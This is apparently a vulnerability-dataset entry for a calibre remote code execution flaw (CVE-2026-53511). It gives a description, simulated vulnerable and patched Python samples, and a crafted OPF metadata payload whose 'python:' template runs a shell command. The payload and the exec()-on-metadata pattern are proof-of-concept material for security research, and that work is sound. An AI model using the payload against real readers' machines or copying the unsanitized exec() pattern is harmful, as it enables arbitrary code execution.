VAITP Dataset

← Back to the dataset

CVE-2026-53511

Calibre RCE via malicious ebook metadata due to unsanitized template.

  • CVSS 8.5
  • CWE-94
  • Input Validation and Sanitization
  • Local

calibre is an e-book manager. Prior to 9.10.0, a malicious EPUB, OPF, or PDF file can execute arbitrary Python code when its metadata is read by calibre, including through Add books or Edit books, by embedding a custom column definition with a python: template in calibre:user_metadata that is passed unsanitized to exec() in the template formatter. This issue is fixed in version 9.10.0.

CVSS base score
8.5
Published
2026-07-07
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
calibre
Fixed by upgrading
Yes

Solution

Upgrade calibre to version 9.10.0 or later.

Vulnerable code sample

import os

def process_metadata_templates(metadata):
    """
    This function simulates the vulnerable part of Calibre's template formatter
    before version 9.10.0. It unsafely processes 'python:' templates.
    """
    user_metadata = metadata.get("calibre:user_metadata", {})
    for column_name, column_def in user_metadata.items():
        template = column_def.get("template")

        if template and template.startswith("python:"):
            # VULNERABLE PART: The expression is taken directly from the metadata
            # and executed without any sanitization.
            expression = template[len("python:"):]

            # The exec() call is the core of the vulnerability. A malicious
            # user controls the 'expression' string via the book's metadata.
            exec(expression, {})


# This dictionary simulates the malicious metadata read from an EPUB/OPF file.
# The payload is designed to be harmless but prove code execution.
malicious_ebook_metadata = {
    "title": "A Seemingly Normal Book",
    "author": "A. Hacker",
    # The custom metadata structure is the vector for the attack.
    "calibre:user_metadata": {
        "#evil_column": {
            "name": "Evil Column",
            "template": "python:__import__('os').system('echo VULNERABLE: Code execution successful!')"
        }
    }
}

# Simulate Calibre's "Add book" or "Edit metadata" functionality
# which would trigger the vulnerable template processing.
process_metadata_templates(malicious_ebook_metadata)

Patched code sample

import sys
import io

def evaluate_user_template(template_string: str) -> str:
    """
    Safely evaluates a template string from user metadata.

    The fix for the vulnerability is to explicitly disallow templates
    that start with 'python:', preventing them from being passed to exec().
    """
    # --- The Fix ---
    # The vulnerability was caused by executing code when the 'python:' prefix
    # was found. The fix is to detect this prefix and explicitly refuse
    # to process it, treating it as an invalid/disallowed template.
    if template_string.strip().startswith('python:'):
        # Instead of executing, raise an error or return an empty/error string.
        # This prevents the arbitrary code from ever reaching an unsafe function.
        raise ValueError("Python-based templates are not allowed from this source.")
    # --- End of Fix ---

    # For demonstration, a placeholder for safe template processing.
    # In a real application, this would use a safe templating engine.
    safe_output = f"Safely processed template: '{template_string}'"
    return safe_output

if __name__ == '__main__':
    # This represents a malicious template embedded in an e-book's metadata.
    malicious_template = "python:import os; os.system('echo Vulnerability Exploited!')"
    
    # This represents a normal, safe template.
    safe_template = "{title} by {author}"

    print("--- Attempting to process malicious template with the FIXED function ---")
    try:
        evaluate_user_template(malicious_template)
    except ValueError as e:
        print(f"SUCCESS: The code was NOT executed. The function raised an error as expected:")
        print(f"  {e}")

    print("\n--- Attempting to process a safe template with the FIXED function ---")
    try:
        result = evaluate_user_template(safe_template)
        print("SUCCESS: The safe template was processed correctly.")
        print(f"  Output: {result}")
    except ValueError as e:
        print(f"FAILURE: An unexpected error occurred: {e}")

Payload

<?xml version='1.0' encoding='utf-8'?>
<package xmlns="http://www.idpf.org/2007/opf" unique-identifier="book_id" version="2.0">
  <metadata xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:opf="http://www.idpf.org/2007/opf" xmlns:calibre="http://calibre.kovidgoyal.net/2009/metadata">
    <dc:title>PoC</dc:title>
    <dc:creator opf:role="aut">pwn</dc:creator>
    <dc:identifier id="book_id" opf:scheme="uuid">12345</dc:identifier>
    <meta name="calibre:user_metadata:#poc"
          content="{"is_multiple": null, "is_multiple2": {}, "colnum": 1, "#extra#": null, "column": "value", "label": "poc", "rec_index": 1, "name": "PoC", "datatype": "text", "is_custom": true, "display": {}, "kind": "field", "search_terms": ["#poc"], "template": "python:__import__('os').system('touch /tmp/pwned')"}"/>
  </metadata>
  <manifest>
    <item id="text" href="text.html" media-type="application/xhtml+xml"/>
  </manifest>
  <spine>
    <itemref idref="text"/>
  </spine>
</package>

Cite this entry

@misc{vaitp:cve202653511,
  title        = {{Calibre RCE via malicious ebook metadata due to unsanitized template.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-53511},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-53511/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::